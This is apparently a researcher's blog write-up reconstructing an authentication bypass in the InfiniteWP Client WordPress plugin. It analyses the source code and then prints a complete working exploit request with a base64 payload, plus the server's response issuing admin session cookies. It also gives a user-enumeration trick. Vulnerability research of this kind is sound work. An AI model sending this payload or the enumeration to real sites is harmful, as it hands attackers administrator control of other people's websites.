InfiniteWP Client < 1.9.4.5 - Authentication Bypass
I was browsing wpvulndb.com when I stumbled upon the InfiniteWP Client authentication bypass. Being curios, I wanted to reverse engineer the unpublished PoC. Here's my (short) journey.
Analysis
The first step was to browse through the source code which is hosted on plugins.trac.wordpress.org
to find the changes that were recently made. Sometimes we are even lucky and the developer put the keyword security
into the commit message. We find the following few changes:
Apparently the authentication bypass happens if $action == 'add_site'
or $action == 'readd_site'
. Let's find out why we are not supposed to set those two values.
At this point, I download the previous version of the plugin and start up my local Apache, MariaDB and Wordpress installation.
After installing the plugin and activating it, we look for the changes in the source code and find a function iwp_mmb_set_request
. We grep for the function name and see that it is called in core.class.php
:
gehaxelt@LagTop /v/w/w/w/p/iwp-client (master)> grep -Prin 'iwp_mmb_set_request' .
./core.class.php:230: add_action('setup_theme', 'iwp_mmb_set_request');
./init.php:246:if (!function_exists ('iwp_mmb_set_request')) {
./init.php:247: function iwp_mmb_set_request(){
But is this class IWP_MMB_Core
really instantiated? It is (!) as the next grep for the class name shows:
gehaxelt@LagTop /v/w/w/w/p/iwp-client (master)> grep -Prin 'IWP_MMB_Core' | tail -n 5
init.php:3263:$iwp_mmb_core = new IWP_MMB_Core();
It happens right at the end of init.php
which I assumed to be always called, so that the setup_theme
action will trigger the iwp_mmb_set_request
action due to add_action('setup_theme', 'iwp_mmb_set_request');
.
Going through the iwp_mmb_set_request
function again, we see that it sets admin login cookies using wp_set_auth_cookie for a given $params['username']
.
But how do we get control over the value in $params['username']
? A few lines above we see $params = $iwp_mmb_core->request_params;
. But what is $iwp_mmb_core->request_params
?!
Searching for request_params
leads us to a function named iwp_mmb_parse_request
. This function is even called at the end of init.php
: iwp_mmb_parse_request();
In the upper part, it seems to do some parsing/decoding of values, so we quickly skim over it and find our add_site
/ readd_site
values again:
We remember that we're not supposed to use those two anymore... It's because they have an early return
, so that the security check $iwp_mmb_core->authenticate_message(...)
is not executed, but we still can populate the $iwp_mmb_core->request_params
!
At this point we know that the exploit requires a valid and existing username, because if (!$iwp_mmb_core->check_if_user_exists($params['username'])) ...error...
So how do we get there? We need to figure out how to provide the data in the correct format:
I've added a few var_dump
or echo
for debugging purposes
It looks more complicated than it actually is.
Exploit
Here are the steps:
- POST request with the body
_IWP_JSON_PREFIX_$XXX
where $XXX
isbase64($data)
with$data
being a JSON serialized array of
{
"iwp_action": "add_site",
"id": 1,
"params": {
"username": "$USER"
}
}
- and
$USER
beingadmin
or whatever the admin's username is.
A fully working exploit/request would be:
POST / HTTP/1.1
Host: wordpress.local
User-Agent: curl/7.67.0
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 113
_IWP_JSON_PREFIX_ewoiaXdwX2FjdGlvbiI6ICJhZGRfc2l0ZSIsCiJpZCI6IDEsCiJwYXJhbXMiOiB7CiJ1c2VybmFtZSI6ICJhZG1pbiIKfQp9
which will return the following response containing all admin login cookies. Setting those cookies in the browser is enough to be automatically logged in in the administrative backend.
HTTP/1.1 200 OK
Date: Thu, 09 Jan 2020 00:07:45 GMT
Server: Apache/2.4.41 (Unix) OpenSSL/1.1.1d PHP/7.4.0
X-Powered-By: PHP/7.4.0
Set-Cookie: wordpress_f474a34ebcc07f20d89d4ba6aea05951=admin%7C1578701265%7C8KaHO1zejXGjxw6xoFe3ZoDmklE9tpSXbPXNUNSmlfN%7C5aa06db16a8651f59652d72fbcb34b689a4ac1fd0ccb9af805addfec54ee5194; path=/wp-content/plugins; HttpOnly
Set-Cookie: wordpress_f474a34ebcc07f20d89d4ba6aea05951=admin%7C1578701265%7C8KaHO1zejXGjxw6xoFe3ZoDmklE9tpSXbPXNUNSmlfN%7C5aa06db16a8651f59652d72fbcb34b689a4ac1fd0ccb9af805addfec54ee5194; path=/wp-admin; HttpOnly
Set-Cookie: wordpress_logged_in_f474a34ebcc07f20d89d4ba6aea05951=admin%7C1578701265%7C8KaHO1zejXGjxw6xoFe3ZoDmklE9tpSXbPXNUNSmlfN%7C2a7dd2ffbed61b4f70624506f57f41d9f928e736d3f6ca386e526dcba68a1850; path=/; HttpOnly
Set-Cookie: wordpress_sec_f474a34ebcc07f20d89d4ba6aea05951=admin%7C1578701265%7CiLPp0hKnuauwb4I9D1HNdTmrAKJcPb2tOMiwKrTyllm%7C2201360a106f353a8628ec93100eb3aaefd065194d2308aeb8b9e4681a2e7d2c; path=/wp-content/plugins; secure; HttpOnly
Set-Cookie: wordpress_sec_f474a34ebcc07f20d89d4ba6aea05951=admin%7C1578701265%7CiLPp0hKnuauwb4I9D1HNdTmrAKJcPb2tOMiwKrTyllm%7C2201360a106f353a8628ec93100eb3aaefd065194d2308aeb8b9e4681a2e7d2c; path=/wp-admin; secure; HttpOnly
Set-Cookie: wordpress_logged_in_f474a34ebcc07f20d89d4ba6aea05951=admin%7C1578701265%7CiLPp0hKnuauwb4I9D1HNdTmrAKJcPb2tOMiwKrTyllm%7Ca40a662c5ba8b18a1819787b10381e4098386b33c952037777df0ec9e7123abb; path=/; HttpOnly
Content-Length: 436
Connection: close
Content-Type: text/plain;charset=UTF-8
The hardest part of the exploit is to obtain valid admininistrator usernames. However, there are a few known methods to enumerate wordpress users. The easiest one is to append /?author=1
or 2,3,4,5,6...
to the URL and see the resulting redirection URL (i.e. /author/admin/
) or website's source code.
That was a fun little exercise and I enjoyed it :-)
-=-